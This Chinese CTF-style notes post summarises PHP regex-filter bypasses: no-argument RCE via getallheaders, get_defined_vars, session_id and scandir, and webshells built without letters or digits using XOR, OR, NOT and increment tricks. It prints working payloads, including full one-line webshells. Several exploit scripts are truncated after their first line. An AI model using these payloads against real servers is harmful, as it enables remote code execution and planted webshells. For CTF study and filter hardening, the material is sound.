正则匹配的绕过
1.无参数RCE
在鲲鹏杯的测试中因为之前没有接触过这个无参数RCE导致错失一血;所以今天来统一的总结一下无参数RCE的一些payload
1 | if(';' === preg_replace('/[^\W]+\((?R)?\)/', '',$_GET['code'])) |
这个一般出现在无参数的RCE绕过中;我们来解读一下这个到底过滤了什么东西
‘/[^\W]+’:
1.[^\W]:匹配任意非单词的字符,即为[^a-zA-Z0-9] 2.+:匹配无穷次
(?R)?:
1.(?R):回溯;在相同的位置匹配整个表达式;可以看成把/[^\W]+((?R)?)/,这个式子再放到(?R)的位置 2:?匹配多次
(:左括号 ):右括号
1 | 该正则只允许执行 |
而为什么这个叫无参数RCE呢就是因为:我们传入的值函数不能带有参数,所以我们要使用无参数的函数进行文件读取或者命令执行
关键函数一:getallheaders():
getallheaders():作用:获取所有 HTTP 请求标头;传入?code=print_r(getallheaders());,数组返回 HTTP 请求头
payload1:(适合php7以上的版本):使用var_dump(getenv(phpinfo()));查看环境变量
1 | GET /?code=eval(end(apache_request_headers())); HTTP/1.1 |
payload2:
使用end指向最后一个请求头,用其值进行rce;
1 | GET /?code=eval(end(getallheaders())); HTTP/1.1 |
关键函数二:get_defined_vars():
get_defined_vars():
作用:返回由所有已定义变量所组成的数组,会返回$GET,$POST,$COOKIE,$FILES全局变量的值,返回数组顺序为get->post->cookie->file
current():
作用:返回数组中的当前单元,初始指向插入到数组中的第一个单元,也就是会返回$GET变量的数组值
paylaod1:
1 | ?code=eval(end(current(get_defined_vars())));&flag=system('ls'); |
payload2:
1 | ?flag=system('dir');&code=eval(pos(pos(get_defined_vars()))); |
payload3:
而如果网站对$GET,$POST,$COOKIE都做的过滤,那我们只能从$FILES入手了,file数组在最后一个,需要end定位,然后pos两次定位获得文件名
exp:
1 | import requests |
关键函数三:session_start():
适用于:php7以下的版本
● session_start():启动新会话或者重用现有会话,成功开始会话返回 TRUE ,反之返回 FALSE,返回参数给session_id()
● session_id():获取/设置当前会话 ID,返回当前会话ID。 如果当前没有会话,则返回空字符串(””)。
文件读取payload:
1 | show_source(session_id(session_start())); |
命令执行payload:
1 | GET /?code=eval(hex2bin(session_id(session_start()))); HTTP/1.1 |
关键函数四:scandir():
文件读取
查看当前目录文件名payload:
1 | print_r(scandir(current(localeconv()))); |
读取当前目录文件payload:
1 | 当前目录倒数第一位文件: |
查看上一级目录文件名payload:
1 | print_r(scandir(dirname(getcwd()))); |
读取上级目录文件payload:
1 | show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); |
2.无字母数字webshell
1 | if(!preg_match('/[A-Za-z0-9]/is',$_GET['shell'])) |
此时正则的匹配便是不能出现字母和数字此时我们将payload成为无字母数字的webshell;我们在NKCTF中就有遇到过这个无字母数字的webshell
绕过方法一:异或绕过
exp1:
1 | <?php |
exp2:
1 | # -*- coding: utf-8 -*- |
绕过方法二:或运算绕过
exp1:
1 | <?php |
exp2:
1 | # -*- coding: utf-8 -*- |
绕过方法三:取反绕过
exp1:(这个需要在命令执行框中执行)
1 | <?php |
exp2:(python)
1 | def get(shell): |
所以此时的payload:system(‘cat /flag’)=(%8C%86%8C%8B%9A%92)(%9C%9E%8B%DF%D0%99%93%9E%98)
无字母数字webshell加长度限制
缩减字符的方法一:
先使用这个poc:
1 | def get(shell): |
然后使用这个poc将上面的exp缩减为
1 | <?php |
自增自减
1 | if(!preg_match('/[a-z0-9;~^`&|/is]/is',$_GET['shell'])) |
此时可以看到取反、异或、或运算都被过滤;所以此时我们需要考虑的就是自增自减的绕过
何为自增自减呢
1 | "A"++ ==> "B" |
所以,只要我们能拿到一个变量,其值为a,那么通过自增操作即可获得a-z中所有字符。所以此时我们需要做的就是如何拿到字符
那么,如何拿到一个值为字符串’a’的变量呢?我们发现,在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array
而Array的第一个字母就是大写A,而且第4个字母是小写a。也就是说我们可以同时拿到小写a和大写A,那么我们就可以拿到a-z和A-Z的所有字母:
webshell:
1 | <?php |
缩减后的webshell(这里记得使用url编码)
1 | $_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]); |
在上面这种情况下当;被过滤时只能使用短标签法;payload如下(上传一句话木马)
1 | <?=$_=[]?><?=$_=@"$_"?><?=$_=$_['!'=='@']?><?=$___=$_?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?= $___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$____='_'?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$_=$$____?><?=$_[__]($_[_])?> |
记录一下NKCTF里面的一个payload:
1 | $_=(_/_._)[_];++$_;$__=$_.$_++;++$_;++$_;++$_;$__.=$_++.$_;$_=_.$__;$$_[_]($$_[__]) |
有关自增自减的文章:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html